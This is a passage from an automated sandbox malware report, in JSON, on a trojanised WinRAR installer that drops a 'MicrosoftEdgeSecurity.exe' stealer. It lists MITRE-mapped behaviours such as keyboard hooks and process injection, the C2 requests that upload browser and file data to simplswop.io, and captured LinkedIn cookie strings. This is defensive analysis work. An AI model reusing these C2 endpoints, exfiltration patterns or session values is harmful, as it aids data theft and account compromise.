(KHTML, like Gecko) Chrome/%s Safari/537.36 OPR/%s\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"Mozilla/5.0 (%s; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00004284.00000000.102677.46911000.00000004.mdmp, 00000000-00004284.00000000.102677.ED320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \".linkedin.comFALSE/TRUE1801489639bcookie\"v=2&1391f723-91e0-4064-8cb8-08df8de6ce67\"0.linkedin.comFALSE/TRUE1770040039lidc\"b=OGST08:s=O:r=O:a=O:p=O:g=3363:u=1:x=1:i=1769953638:t=1770040038:v=2:sig=AQGIXjd1xSUkm1r8AqGAootF3DJj8iMG\"0\" (Indicator: \"linkedin.com\"; File: \"linkedin.com.txt\")\n file/memory contains long string with (Indicator: \"linkedin.com\"; File: \"8250790ABB6552085A14E9AACD5F9C89_Edge.zip\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134347282203519697.7200.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134347297200032362.4404.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3c","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"msedge.exe\" (UID: 00000000-00007560)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"winrar-x64-710.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 59800000\n \"uninstall.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 59800000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 71220000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70EF0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 74650000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 74630000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 74210000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$3e","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 72630000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 723B0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"winrarx64-setup.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 759F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 759F0000\n \"winrar-x64-710.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 894E0000\n \"uninstall.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 894E0000\n \"test.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 894E0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 894E0000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 894E0000\n \"MicrosoftEdgeSecurity.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 894E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c78f87fb7f0000@ntdll.dll\"\n \"220023000000000018c78f87fb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$3f","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$40","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$41","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$42","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"simplswop.io\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"MicrosoftEdgeSecurity.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$44","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"winrar-x64-710.exe\" searching for class \"Edit\"\n \"winrar-x64-710.exe\" searching for class \"ApplicationManager_DesktopShellWindow\"\n \"winrar-x64-710.exe\" searching for class \"MS_AutodialMonitor\"\n \"winrar-x64-710.exe\" searching for class \"MS_WebCheckMonitor\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"winrar-x64-710.exe\" sets a windows hook with filter \"WH_MOUSE\" for thread ID 6932\n \"winrar-x64-710.exe\" sets a windows hook with filter \"WH_KEYBOARD\" for thread ID 6932","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: F3:B3:A3:D4:F7:C0:50:2A:FE:A5:14:D6:F8:76:77:1A:41:54:0C:57; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"winrarx64-setup.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"RarExt32.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"INetC.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"nsExec.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Default32.SFX\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Zip32.SFX\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"WinCon32.SFX\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$48","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"Found string \"function New-TemporaryFile\" (Indicator: \"New-TemporaryFile\"; Source: \"00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")\n Found string \"function New-Guid\" (Indicator: \"New-Guid\"; Source: \"00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"winrarx64-setup.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"winrar-x64-710.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$49","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"RarExt.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections\"- Location: [%PROGRAMFILES%\\WinRAR\\RarExt.dll]- [targetUID: 00000000-00007996]\n \"RarExt32.dll\" has type \"PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections\"- Location: [%PROGRAMFILES%\\WinRAR\\RarExt32.dll]- [targetUID: 00000000-00007996]\n \"7zxa.dll\" has type \"PE32+ executable for MS Windows 5.02 (DLL) x86-64 6 sections\"- Location: [%PROGRAMFILES%\\WinRAR\\7zxa.dll]- [targetUID: 00000000-00007996]\n \"INetC.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nso98E5.tmp\\INetC.dll]- [targetUID: 00000000-00007012]\n \"nsExec.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nso98E5.tmp\\nsExec.dll]- [targetUID: 00000000-00007012]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"winrarx64-setup.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 7012)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"winrarx64-setup.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007012)\n \"MicrosoftEdgeSecurity.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006508)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"winrarx64-setup.exe\" reads file \"c:\\winrarx64-setup.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$4c","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$4d","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"$4e","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"winrarx64-setup.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\nso98e5.tmp\\nsexec.dll\"\n \"winrarx64-setup.exe\" writes file \"c:\\winrar-x64-710.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"$53","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"winrarx64-setup.exe\" called \"HttpOpenRequestW\" (UID: 00000000-00007012)\n \"MicrosoftEdgeSecurity.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89\" - (UID: 00000000-00006508), \"MicrosoftEdgeSecurity.exe\" called \"HttpOpenRequestA\" (UID: 00000000-00006508), \"MicrosoftEdgeSecurity.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware\" - (UID: 00000000-00006508)\n \"MicrosoftEdgeSecurity.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0\" - (UID: 00000000-00006508)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"winrarx64-setup.exe\" called \"InternetReadFile\" with parameter 8192 (UID: 00000000-00007012)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"winrarx64-setup.exe\" called \"InternetOpenA with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00007012)\n \"winrarx64-setup.exe\" called \"InternetOpenW with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00007012)\n \"test.exe\" called \"InternetOpenA\" (UID: 00000000-00004284)\n \"MicrosoftEdgeSecurity.exe\" called \"InternetOpenA\" (UID: 00000000-00006508)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /GoogleAdsSpainWinRarT1.exe\"\n Found http requests in header \"GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89\"\n Found http requests in header \"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome\"\n Found http requests in header \"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber\"\n Found http requests in header \"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge\"\n Found http requests in header \"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware\"\n Found http requests in header \"GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$54","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.01150000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.011C3000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"(mx.\" [Source: 00000000-00004284.00000000.102677.467CD000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"details too long to display","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$55","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://45.225.135.164:8081\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://simplswop.io/backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89\n Found HTTPS POST request to https://simplswop.io/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome\n Found HTTPS POST request to https://simplswop.io/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber\n Found HTTPS POST request to https://simplswop.io/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge\n Found HTTPS POST request to https://simplswop.io/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware\n Found HTTPS GET request to https://simplswop.io/backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"simplswop.io\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.133.231\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"Zip32.SFX\"\n YARA signature for AES encryption matched on file \"Zip.SFX\"\n YARA signature for AES encryption matched on file \"Default32.SFX\"\n YARA signature for AES encryption matched on file \"WinCon.SFX\"\n YARA signature for AES encryption matched on file \"UnRAR.exe\"\n YARA signature for AES encryption matched on file \"WinRAR.exe\"\n YARA signature for AES encryption matched on file \"WinCon32.SFX\"\n YARA signature for AES encryption matched on file \"7zxa.dll\"\n YARA signature for AES encryption matched on file \"Default.SFX\"\n YARA signature for AES encryption matched on file \"Rar.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007200\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00004404\"\n YARA signature for encryption algorithm process \"00000000-00007996\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – WinRAR file detected","description":"YARA signature for WinRAR file matched on file \"RarExt32.dll\"\n YARA signature for WinRAR file matched on file \"RarExt.dll\"\n YARA signature for WinRAR file matched on file \"WinCon.SFX\"\n YARA signature for WinRAR file matched on file \"Uninstall.exe\"\n YARA signature for WinRAR file matched on file \"UnRAR.exe\"\n YARA signature for WinRAR file matched on file \"RarExtInstaller.exe\"\n YARA signature for WinRAR file matched on file \"WinRAR.exe\"\n YARA signature for WinRAR file matched on file \"WinCon32.SFX\"\n YARA signature for WinRAR file matched on file 